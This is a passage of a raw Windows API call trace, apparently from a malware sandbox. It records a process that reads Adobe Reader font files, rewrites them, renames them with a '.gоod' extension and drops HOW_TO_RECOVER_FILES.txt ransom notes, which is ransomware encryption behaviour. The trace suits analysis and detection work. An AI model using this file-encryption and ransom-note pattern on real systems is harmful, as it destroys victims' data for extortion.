ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="zx______.pfm", cAlternateFileName="")) returned 1 [0100.980] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="zy______.pfm", cAlternateFileName="")) returned 1 [0100.980] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0100.980] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0100.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfe0) returned 1 [0100.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfa0) returned 1 [0100.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced0a0) returned 1 [0100.980] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM", nBufferLength=0x105, lpBuffer=0x1fcecb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM", lpFilePart=0x0) returned 0x40 [0100.980] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\*", lpFindFileData=0x1fcecdc0 | out: lpFindFileData=0x1fcecdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36222164, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x36222164, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0100.981] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36222164, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x36222164, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.981] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY______.PFM", cAlternateFileName="")) returned 1 [0100.981] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="zx______.pfm", cAlternateFileName="")) returned 1 [0100.981] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="zy______.pfm", cAlternateFileName="")) returned 1 [0100.981] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="zy______.pfm", cAlternateFileName="")) returned 0 [0100.981] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0100.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfe0) returned 1 [0100.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfa0) returned 1 [0100.982] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\SY______.PFM", nBufferLength=0x105, lpBuffer=0x1fcec980, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\SY______.PFM", lpFilePart=0x0) returned 0x4d [0100.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcece50) returned 1 [0100.982] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\SY______.PFM" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\pfm\\sy______.pfm"), fInfoLevelId=0x0, lpFileInformation=0x3526050 | out: lpFileInformation=0x3526050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2a0)) returned 1 [0100.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcece10) returned 1 [0100.982] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\SY______.PFM", nBufferLength=0x105, lpBuffer=0x1fcec7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\SY______.PFM", lpFilePart=0x0) returned 0x4d [0100.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcecd00) returned 1 [0100.982] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\SY______.PFM" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\pfm\\sy______.pfm"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0100.982] GetFileType (hFile=0x7dc) returned 0x1 [0100.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecc70) returned 1 [0100.982] GetFileType (hFile=0x7dc) returned 0x1 [0100.982] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1fcecea8 | out: lpFileSizeHigh=0x1fcecea8*=0x0) returned 0x2a0 [0100.982] ReadFile (in: hFile=0x7dc, lpBuffer=0x35265b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcecdd8, lpOverlapped=0x0 | out: lpBuffer=0x35265b8*, lpNumberOfBytesRead=0x1fcecdd8*=0x2a0, lpOverlapped=0x0) returned 1 [0100.984] CloseHandle (hObject=0x7dc) returned 1 [0101.012] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\SY______.PFM", nBufferLength=0x105, lpBuffer=0x1fcec7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\SY______.PFM", lpFilePart=0x0) returned 0x4d [0101.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcecd00) returned 1 [0101.012] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\SY______.PFM" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\pfm\\sy______.pfm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0101.013] GetFileType (hFile=0x7dc) returned 0x1 [0101.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecc70) returned 1 [0101.013] GetFileType (hFile=0x7dc) returned 0x1 [0101.013] WriteFile (in: hFile=0x7dc, lpBuffer=0x359e758*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x1fcecce8, lpOverlapped=0x0 | out: lpBuffer=0x359e758*, lpNumberOfBytesWritten=0x1fcecce8*=0x2b0, lpOverlapped=0x0) returned 1 [0101.159] CloseHandle (hObject=0x7dc) returned 1 [0101.169] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\SY______.PFM", nBufferLength=0x105, lpBuffer=0x1fcec980, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\SY______.PFM", lpFilePart=0x0) returned 0x4d [0101.169] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\SY______.PFM.gоod", nBufferLength=0x105, lpBuffer=0x1fcec980, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\SY______.PFM.gоod", lpFilePart=0x0) returned 0x52 [0101.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcece10) returned 1 [0101.199] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\SY______.PFM" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\pfm\\sy______.pfm"), fInfoLevelId=0x0, lpFileInformation=0x1fcecef0 | out: lpFileInformation=0x1fcecef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3882be03, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2b0)) returned 1 [0101.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecdd0) returned 1 [0101.199] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\SY______.PFM" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\pfm\\sy______.pfm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\SY______.PFM.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\pfm\\sy______.pfm.gоod")) returned 1 [0101.200] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zx______.pfm", nBufferLength=0x105, lpBuffer=0x1fcec980, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zx______.pfm", lpFilePart=0x0) returned 0x4d [0101.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcece50) returned 1 [0101.200] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zx______.pfm" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\pfm\\zx______.pfm"), fInfoLevelId=0x0, lpFileInformation=0x34a77f0 | out: lpFileInformation=0x34a77f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2ab)) returned 1 [0101.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcece10) returned 1 [0101.201] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zx______.pfm", nBufferLength=0x105, lpBuffer=0x1fcec7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zx______.pfm", lpFilePart=0x0) returned 0x4d [0101.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcecd00) returned 1 [0101.201] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zx______.pfm" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\pfm\\zx______.pfm"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0101.201] GetFileType (hFile=0x20c) returned 0x1 [0101.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecc70) returned 1 [0101.201] GetFileType (hFile=0x20c) returned 0x1 [0101.201] GetFileSize (in: hFile=0x20c, lpFileSizeHigh=0x1fcecea8 | out: lpFileSizeHigh=0x1fcecea8*=0x0) returned 0x2ab [0101.201] ReadFile (in: hFile=0x20c, lpBuffer=0x34a7d68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcecdd8, lpOverlapped=0x0 | out: lpBuffer=0x34a7d68*, lpNumberOfBytesRead=0x1fcecdd8*=0x2ab, lpOverlapped=0x0) returned 1 [0101.202] CloseHandle (hObject=0x20c) returned 1 [0101.229] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zx______.pfm", nBufferLength=0x105, lpBuffer=0x1fcec7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zx______.pfm", lpFilePart=0x0) returned 0x4d [0101.229] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcecd00) returned 1 [0101.229] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zx______.pfm" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\pfm\\zx______.pfm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0101.230] GetFileType (hFile=0x20c) returned 0x1 [0101.230] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecc70) returned 1 [0101.230] GetFileType (hFile=0x20c) returned 0x1 [0101.230] WriteFile (in: hFile=0x20c, lpBuffer=0x3520198*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x1fcecce8, lpOverlapped=0x0 | out: lpBuffer=0x3520198*, lpNumberOfBytesWritten=0x1fcecce8*=0x2b0, lpOverlapped=0x0) returned 1 [0101.231] CloseHandle (hObject=0x20c) returned 1 [0101.231] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zx______.pfm", nBufferLength=0x105, lpBuffer=0x1fcec980, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zx______.pfm", lpFilePart=0x0) returned 0x4d [0101.231] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zx______.pfm.gоod", nBufferLength=0x105, lpBuffer=0x1fcec980, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zx______.pfm.gоod", lpFilePart=0x0) returned 0x52 [0101.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcece10) returned 1 [0101.231] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zx______.pfm" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\pfm\\zx______.pfm"), fInfoLevelId=0x0, lpFileInformation=0x1fcecef0 | out: lpFileInformation=0x1fcecef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x388c477c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2b0)) returned 1 [0101.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecdd0) returned 1 [0101.231] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zx______.pfm" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\pfm\\zx______.pfm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zx______.pfm.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\pfm\\zx______.pfm.gоod")) returned 1 [0101.627] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zy______.pfm", nBufferLength=0x105, lpBuffer=0x1fcec980, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zy______.pfm", lpFilePart=0x0) returned 0x4d [0101.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcece50) returned 1 [0101.627] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zy______.pfm" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\pfm\\zy______.pfm"), fInfoLevelId=0x0, lpFileInformation=0x34ea5d8 | out: lpFileInformation=0x34ea5d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2ac)) returned 1 [0101.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcece10) returned 1 [0101.671] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zy______.pfm", nBufferLength=0x105, lpBuffer=0x1fcec7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zy______.pfm", lpFilePart=0x0) returned 0x4d [0101.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcecd00) returned 1 [0101.671] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zy______.pfm" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\pfm\\zy______.pfm"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0101.671] GetFileType (hFile=0x7c0) returned 0x1 [0101.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecc70) returned 1 [0101.671] GetFileType (hFile=0x7c0) returned 0x1 [0101.671] GetFileSize (in: hFile=0x7c0, lpFileSizeHigh=0x1fcecea8 | out: lpFileSizeHigh=0x1fcecea8*=0x0) returned 0x2ac [0101.671] ReadFile (in: hFile=0x7c0, lpBuffer=0x3568750, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcecdd8, lpOverlapped=0x0 | out: lpBuffer=0x3568750*, lpNumberOfBytesRead=0x1fcecdd8*=0x2ac, lpOverlapped=0x0) returned 1 [0101.672] CloseHandle (hObject=0x7c0) returned 1 [0101.699] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zy______.pfm", nBufferLength=0x105, lpBuffer=0x1fcec7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zy______.pfm", lpFilePart=0x0) returned 0x4d [0101.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcecd00) returned 1 [0101.699] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zy______.pfm" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\pfm\\zy______.pfm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0101.700] GetFileType (hFile=0x7c0) returned 0x1 [0101.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecc70) returned 1 [0101.700] GetFileType (hFile=0x7c0) returned 0x1 [0101.700] WriteFile (in: hFile=0x7c0, lpBuffer=0x35e08e8*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x1fcecce8, lpOverlapped=0x0 | out: lpBuffer=0x35e08e8*, lpNumberOfBytesWritten=0x1fcecce8*=0x2b0, lpOverlapped=0x0) returned 1 [0101.702] CloseHandle (hObject=0x7c0) returned 1 [0101.702] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zy______.pfm", nBufferLength=0x105, lpBuffer=0x1fcec980, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zy______.pfm", lpFilePart=0x0) returned 0x4d [0101.702] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zy______.pfm.gоod", nBufferLength=0x105, lpBuffer=0x1fcec980, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zy______.pfm.gоod", lpFilePart=0x0) returned 0x52 [0101.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcece10) returned 1 [0101.703] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zy______.pfm" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\pfm\\zy______.pfm"), fInfoLevelId=0x0, lpFileInformation=0x1fcecef0 | out: lpFileInformation=0x1fcecef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38d63003, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2b0)) returned 1 [0101.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecdd0) returned 1 [0101.703] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zy______.pfm" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\pfm\\zy______.pfm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\zy______.pfm.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\pfm\\zy______.pfm.gоod")) returned 1 [0101.880] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fcecaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x59 [0101.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced010) returned 1 [0101.880] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\pfm\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c0 [0101.881] GetFileType (hFile=0x7c0) returned 0x1 [0101.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecf80) returned 1 [0101.881] GetFileType (hFile=0x7c0) returned 0x1 [0101.882] WriteFile (in: hFile=0x7c0, lpBuffer=0x3462de8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fced0d8, lpOverlapped=0x0 | out: lpBuffer=0x3462de8*, lpNumberOfBytesWritten=0x1fced0d8*=0x5d0, lpOverlapped=0x0) returned 1 [0101.883] CloseHandle (hObject=0x7c0) returned 1 [0101.883] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fced520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x55 [0101.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceda40) returned 1 [0101.883] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c0 [0101.883] GetFileType (hFile=0x7c0) returned 0x1 [0101.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9b0) returned 1 [0101.883] GetFileType (hFile=0x7c0) returned 0x1 [0101.884] WriteFile (in: hFile=0x7c0, lpBuffer=0x3466690*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fcedb08, lpOverlapped=0x0 | out: 